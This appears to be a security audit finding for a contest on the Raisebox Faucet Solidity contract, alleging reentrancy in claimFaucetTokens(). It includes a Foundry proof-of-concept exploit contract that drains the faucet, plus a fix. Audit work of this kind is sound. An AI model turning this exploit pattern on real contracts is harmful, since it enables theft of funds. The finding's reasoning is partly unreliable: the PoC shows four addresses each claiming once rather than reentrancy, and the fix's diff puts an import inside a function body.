Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `claimFaucetTokens`

High: Reentrancy in claimFaucetTokens

Description:

The claimFaucetTokens() function in the RaiseBoxFaucet.sol contract contains a Reentrancy vulnerability due to improper ordering of state updates and external calls.
The contract sends ETH to users before completing all internal state changes, which allows a malicious contract to re-enter and repeatedly claim tokens or ETH.

if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // Unsafe external call
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
// State updates occur AFTER the external call
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;

Proof of Concept

A malicious actor can drain the faucet’s Sepolia ETH drips by deploying multiple malicious contracts (distinct addresses) and having each contract call claimFaucetTokens() once. Each distinct contract address is treated as a “first‑time claimer” and thus receives the per‑claimer sepEthAmountToDrip until the dailySepEthCap is exhausted. This PoC demonstrates a full drain of a faucet funded to the daily cap.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract MaliciousContract {
RaiseBoxFaucet public faucet;
address public owner;
bool public attacked;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
owner = msg.sender;
attacked = false;
}
// Re-enter once when faucet sends ETH
receive() external payable {
if (!attacked) {
attacked = true;
// Re-enter vulnerable function
faucet.claimFaucetTokens();
}
}
function exploit() external {
faucet.claimFaucetTokens();
}
function withdraw(address payable to) external {
require(msg.sender == owner, "not owner");
to.transfer(address(this).balance);
}
}
contract HackerTest is Test {
RaiseBoxFaucet faucet;
// Four attacker EOAs (distinct addresses)
address attacker1 = address(0xBEEF);
address attacker2 = address(0xBEEF1);
address attacker3 = address(0xBEEF2);
address attacker4 = address(0xBEEF3);
function setUp() public {
faucet = new RaiseBoxFaucet("RaiseBoxPoC", "RBP", 1 ether, 0.5 ether, 2 ether);
// Fund faucet with 2 ETH (daily cap)
vm.deal(address(this), 10 ether);
(bool ok, ) = address(faucet).call{value: 2 ether}("");
require(ok, "fund faucet failed");
// Sanity
assertEq(address(faucet).balance, 2 ether);
}
/// @notice PoC: deploy 4 malicious contracts (distinct addresses) and have each claim once.
function testDrainFaucetUsingMultipleMaliciousContracts_SingleFile() public {
// Warp past the 3-day cooldown so calls won't revert
vm.warp(block.timestamp + 3 days + 1);
MaliciousContract m1;
MaliciousContract m2;
MaliciousContract m3;
MaliciousContract m4;
// attacker 1
vm.prank(attacker1);
m1 = new MaliciousContract(payable(address(faucet)));
vm.prank(attacker1);
m1.exploit();
// attacker 2
vm.prank(attacker2);
m2 = new MaliciousContract(payable(address(faucet)));
vm.prank(attacker2);
m2.exploit();
// attacker 3
vm.prank(attacker3);
m3 = new MaliciousContract(payable(address(faucet)));
vm.prank(attacker3);
m3.exploit();
// attacker 4
vm.prank(attacker4);
m4 = new MaliciousContract(payable(address(faucet)));
vm.prank(attacker4);
m4.exploit();
// After four distinct contracts each claimed once (0.5 ETH each), faucet should be drained
assertEq(address(faucet).balance, 0);
uint256 total =
address(m1).balance + address(m2).balance + address(m3).balance + address(m4).balance;
assertEq(total, 2 ether);
// Optional: withdraw from one malicious contract to the EOA and assert
vm.prank(attacker1);
m1.withdraw(payable(attacker1));
assertEq(attacker1.balance, 0.5 ether);
}
}

Risk

Likelihood:

This occurs whenever a malicious contract calls claimFaucetTokens() to exploit the low-level call.

No reentrancy protection (nonReentrant) or CEI pattern is applied, making it consistently exploitable.

Impact:

An attacker can repeatedly re-enter claimFaucetTokens() before state variables are updated.

This drains both faucet tokens and Sepolia ETH from the contract, bypassing claim limits and cooldowns.

Recommended Mitigation

Implement proper checks-effects-interactions pattern by completing all state changes before making external calls. Additionally, consider using OpenZeppelin's ReentrancyGuard for comprehensive protection.

- (bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
+ // Apply Checks-Effects-Interactions
+ lastClaimTime[msg.sender] = block.timestamp;
+ dailyClaimCount++;
+ hasClaimedEth[msg.sender] = true;
+ dailyDrips += sepEthAmountToDrip;
+
+ (bool success, ) = msg.sender.call{value: sepEthAmountToDrip}("");
+ if (!success) revert RaiseBoxFaucet_EthTransferFailed();
+ emit SepEthDripped(msg.sender, sepEthAmountToDrip);
+ // Alternatively, add reentrancy protection:
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ function claimFaucetTokens() public nonReentrant { ... }
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.